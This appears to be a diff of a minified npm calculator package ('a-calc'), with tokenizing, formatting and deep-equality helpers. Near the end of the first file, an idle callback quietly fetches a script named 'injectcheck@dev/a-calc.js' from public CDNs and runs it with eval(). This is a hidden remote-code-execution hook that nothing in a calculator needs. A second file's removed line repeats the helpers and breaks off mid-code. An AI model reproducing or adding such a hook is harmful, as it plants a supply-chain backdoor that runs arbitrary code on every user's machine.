Map)!=mapTag||Promise$1&&getTag$1(Promise$1.resolve())!=promiseTag||Set&&getTag$1(new Set)!=setTag||WeakMap&&getTag$1(new WeakMap)!=weakMapTag)&&(getTag$1=function(e){var t=baseGetTag(e),r=t==objectTag$1?e.constructor:void 0,a=r?toSource(r):"";if(a)switch(a){case dataViewCtorString:return dataViewTag;case mapCtorString:return mapTag;case promiseCtorString:return promiseTag;case setCtorString:return setTag;case weakMapCtorString:return weakMapTag}return t});var _getTag=getTag$1,Stack=_Stack,equalArrays=_equalArrays,equalByTag=_equalByTag,equalObjects=_equalObjects,getTag=_getTag,isArray=isArray_1,isBuffer=isBufferExports,isTypedArray=isTypedArray_1,COMPARE_PARTIAL_FLAG=1,argsTag="[object Arguments]",arrayTag="[object Array]",objectTag="[object Object]",objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function baseIsEqualDeep$1(e,t,r,a,n,o){var i=isArray(e),s=isArray(t),c=i?arrayTag:getTag(e),l=s?arrayTag:getTag(t),u=(c=c==argsTag?objectTag:c)==objectTag,f=(l=l==argsTag?objectTag:l)==objectTag,p=c==l;if(p&&isBuffer(e)){if(!isBuffer(t))return!1;i=!0,u=!1}if(p&&!u)return o||(o=new Stack),i||isTypedArray(e)?equalArrays(e,t,r,a,n,o):equalByTag(e,t,c,r,a,n,o);if(!(r&COMPARE_PARTIAL_FLAG)){var h=u&&hasOwnProperty.call(e,"__wrapped__"),_=f&&hasOwnProperty.call(t,"__wrapped__");if(h||_){var g=h?e.value():e,y=_?t.value():t;return o||(o=new Stack),n(g,y,r,a,o)}}return!!p&&(o||(o=new Stack),equalObjects(e,t,r,a,n,o))}var _baseIsEqualDeep=baseIsEqualDeep$1,baseIsEqualDeep=_baseIsEqualDeep,isObjectLike=isObjectLike_1;function baseIsEqual$1(e,t,r,a,n){return e===t||(null==e||null==t||!isObjectLike(e)&&!isObjectLike(t)?e!=e&&t!=t:baseIsEqualDeep(e,t,r,a,baseIsEqual$1,n))}var _baseIsEqual=baseIsEqual$1,baseIsEqual=_baseIsEqual;function isEqual(e,t){return baseIsEqual(e,t)}var isEqual_1=isEqual,deep_equal=getDefaultExportFromCjs(isEqual_1);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var a=t[0];if(a in cache_calc&&deep_equal(t[1],cache_calc[a].arg2))return cache_calc[a].count++,cache_calc[a].last_time=(new Date).getTime(),cache_calc[a].value;cache_calc[a]={arg2:t[1],last_time:(new Date).getTime(),count:0};var n,o,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var p=i.fmt_tokens;if(not_undefined(s))try{n=tokenizer(i.expr,l)}catch(e){return cache_calc[a].value=s,s}else n=tokenizer(i.expr,l);if(is_null(u))o=n;else{var h=[];if(Array.isArray(u))h=u;else{h.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?h=[].concat(_toConsumableArray(h),_toConsumableArray(_)):h.push(_))}if(not_undefined(s))try{o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h))}catch(e){return cache_calc[a].value=s,s}else o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(o);f=g.unit,o=g.tokens}}var y=token2postfix(o),b=null,d={};if(not_undefined(s))try{b=eval_postfix(y)}catch(e){return cache_calc[a].value=s,s}else b=eval_postfix(y);if(not_null(p)){var m=_slicedToArray(format(b,p),2);b=m[0],d=m[1]}else b=null!==b?b.toFixed():null;if("Infinity"===b||null===b){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||d.to_number||d.to_number_string||(b+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(b)),console.log(b),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(n)),console.log(n),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(p)),console.log(p),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(y)),console.log(y),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[a].value=b,b}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;exports.calc=calc,exports.calc_util=calc_util,exports.calc_wrap=calc_wrap,exports.fmt=fmt,exports.version=version;
|
package/es/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var n,o,a,i,s=[],c=!0,l=!1;try{if(a=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(n=a.call(r)).done)&&(s.push(n.value),s.length!==t);c=!0);}catch(e){l=!0,o=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw o}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,n=Object.defineProperty||function(e,t,r){e[t]=r.value},o="function"==typeof Symbol?Symbol:{},a=o.iterator||"@@iterator",i=o.asyncIterator||"@@asyncIterator",s=o.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,o){var a=t&&t.prototype instanceof h?t:h,i=Object.create(a.prototype),s=new O(o||[]);return n(i,"_invoke",{value:w(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function h(){}function p(){}function _(){}var g={};c(g,a,(function(){return this}));var m=Object.getPrototypeOf,d=m&&m(m(C([])));d&&d!==t&&r.call(d,a)&&(g=d);var v=_.prototype=h.prototype=Object.create(g);function b(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function y(e,t){function o(n,a,i,s){var c=u(e[n],e,a);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){o("next",e,i,s)}),(function(e){o("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return o("throw",e,i,s)}))}s(c.arg)}var a;n(this,"_invoke",{value:function(e,r){function n(){return new t((function(t,n){o(e,r,t,n)}))}return a=a?a.then(n,n):n()}})}function w(e,t,r){var n="suspendedStart";return function(o,a){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===o)throw a;return A()}for(r.method=o,r.arg=a;;){var i=r.delegate;if(i){var s=S(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===n)throw n="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);n="executing";var c=u(e,t,r);if("normal"===c.type){if(n=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(n="completed",r.method="throw",r.arg=c.arg)}}}function S(e,t){var r=t.method,n=e.iterator[r];if(void 0===n)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,S(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var o=u(n,e.iterator,t.arg);if("throw"===o.type)return t.method="throw",t.arg=o.arg,t.delegate=null,f;var a=o.arg;return a?a.done?(t[e.resultName]=a.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):a:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function E(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function $(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function O(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(E,this),this.reset(!0)}function C(e){if(e){var t=e[a];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,o=function t(){for(;++n<e.length;)if(r.call(e,n))return t.value=e[n],t.done=!1,t;return t.value=void 0,t.done=!0,t};return o.next=o}}return{next:A}}function A(){return{value:void 0,done:!0}}return p.prototype=_,n(v,"constructor",{value:_,configurable:!0}),n(_,"constructor",{value:p,configurable:!0}),p.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===p||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(v),e},e.awrap=function(e){return{__await:e}},b(y.prototype),c(y.prototype,i,(function(){return this})),e.AsyncIterator=y,e.async=function(t,r,n,o,a){void 0===a&&(a=Promise);var i=new y(l(t,r,n,o),a);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},b(v),c(v,s,"Generator"),c(v,a,(function(){return this})),c(v,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},e.values=C,O.prototype={constructor:O,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach($),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function n(r,n){return i.type="throw",i.arg=e,t.next=r,n&&(t.method="next",t.arg=void 0),!!n}for(var o=this.tryEntries.length-1;o>=0;--o){var a=this.tryEntries[o],i=a.completion;if("root"===a.tryLoc)return n("end");if(a.tryLoc<=this.prev){var s=r.call(a,"catchLoc"),c=r.call(a,"finallyLoc");if(s&&c){if(this.prev<a.catchLoc)return n(a.catchLoc,!0);if(this.prev<a.finallyLoc)return n(a.finallyLoc)}else if(s){if(this.prev<a.catchLoc)return n(a.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n];if(o.tryLoc<=this.prev&&r.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var a=o;break}}a&&("break"===e||"continue"===e)&&a.tryLoc<=t&&t<=a.finallyLoc&&(a=null);var i=a?a.completion:{};return i.type=e,i.arg=t,a?(this.method="next",this.next=a.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),$(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var o=n.arg;$(r)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:C(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,n,o,a,i){try{var s=e[a](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(n,o)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(n,o){var a=e.apply(t,r);function i(e){asyncGeneratorStep(a,n,o,i,s,"next",e)}function s(e){asyncGeneratorStep(a,n,o,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,t||"default");if("object"!=typeof n)return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042401",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,n,o){var a=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?n-1:n;i=t.slice(0,e)},"~+":function(){var e="<"===r?n-1:n;if(!(s<=e||0===s)){var o=t.slice(0,e);0==+t.slice(e,s)?i=o:(o=(+"9".concat(o)+1).toString().slice(1)).length>e?(i=o.slice(1,o.length),a=(+a+1).toString()):i=o}},"~5":function(){if(0!==s){var e="<"===r?n-1:n;i=t.slice(0,e);var o=+t[e];Number.isNaN(o)||o>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),a=(+a+1).toString())}},"~6":function(){if(0!==s){var o,c="<"===r?n-1:n,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),o=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&o%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),a=(+a+1).toString())}}};return"<="===r?s<=n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"<"===r?s<n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"="===r?s<n?i=t+"0".repeat(n-s):s>n&&c[o]&&c[o]():">="===r?s<n&&(i=t+"0".repeat(n-s)):">"===r&&s<=n&&(i=t+"0".repeat(n-s+1)),{int_part:a,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,n=null,o=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],a=0;a<o.length;a++){var i=e.match(o[a]);if(i){t=i;break}}if(t){n=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:n,unit:r}}function parse_mantissa(e,t,r,n){var o=e.split("."),a=o[0],i=1===o.length?"":o[1],s=decimal_round(a,i,t,+r,n);return a=s.int_part,""===(i=s.dec_part)?a:"".concat(a,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var n=t[0];e=n.includes("-")?n[0]+n.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):n.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,n,o,a=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=a.length>1&&void 0!==a[1]?a[1]:5e3,n=0;case 2:if(!(n<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[n],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:o=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",o);case 13:n++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,n=[],o=[];e;){var a=e[0];if(r===state$1.initial)if(/\s/.test(a))e=e.slice(1);else if(symbol.includes(a))r=state$1.symbol,n.push(a),e=e.slice(1);else if(","===a)r=state$1.initial,o.push({type:"comma",value:a}),e=e.slice(1);else if(/[a-zA-Z_]/.test(a))r=state$1.variable,n.push(a),e=e.slice(1);else if(/\d/.test(a))r=state$1.number,n.push(a),e=e.slice(1);else if("+"===a)r=state$1.initial,o.push({type:"plus",value:a}),e=e.slice(1);else if("~"===a)r=state$1.round,n.push(a),e=e.slice(1);else if("%"===a)r=state$1.initial,o.push({type:"percent",value:a}),e=e.slice(1);else if("/"===a)r=state$1.initial,o.push({type:"fraction",value:a}),e=e.slice(1);else{if("!"!==a)throw new Error("不识别的fmt字符:".concat(a));if(r=state$1.initial,/[Ee]/.test(e[1]))o.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))o.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));o.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"number",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"var",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(a)){e=e.slice(1);continue}symbol.includes(a)?(n.push(a),e=e.slice(1)):(o.push({type:"symbol",value:n.join("")}),n.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(a)){e=e.slice(1);continue}if(!("56+-".includes(a)&&n.length<2))throw new Error("舍入格式化语法错误:".concat(a));n.push(a),e=e.slice(1),o.push({type:"round",value:n.join("")}),n.length=0,r=state$1.initial}}if(n.length>0&&(o.push({type:r,value:n.join("")}),n.length=0,r=state$1.initial),o.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:o},o}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$3=Array.isArray,isArray_1=isArray$3,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$3=freeGlobal||freeSelf||Function("return this")(),_root=root$3,root$2=_root,_Symbol2=root$2.Symbol,_Symbol$3=_Symbol2,_Symbol$2=_Symbol$3,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty,nativeObjectToString$1=objectProto$4.toString,symToStringTag$1=_Symbol$2?_Symbol$2.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$3.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var n=!0}catch(e){}var o=nativeObjectToString$1.call(e);return n&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),o}var _getRawTag=getRawTag$1,objectProto$3=Object.prototype,nativeObjectToString=objectProto$3.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$1=_Symbol$3,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$1?_Symbol$1.toStringTag:void 0;function baseGetTag$2(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$2;function isObjectLike$1(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$1,baseGetTag$1=_baseGetTag,isObjectLike=isObjectLike_1,symbolTag="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike(e)&&baseGetTag$1(e)==symbolTag}var isSymbol_1=isSymbol$3,isArray$2=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$2(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$1(e){if(!isObject$1(e))return!1;var t=baseGetTag(e);return t==funcTag||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$1,root$1=_root,coreJsData$1=root$1["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$1(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$1,isFunction=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$2=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$2=objectProto$2.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$2).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction(e)?reIsNative:reIsHostCtor).test(toSource(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$2(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$2,getNative$1=_getNative,nativeCreate$4=getNative$1(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__",objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return 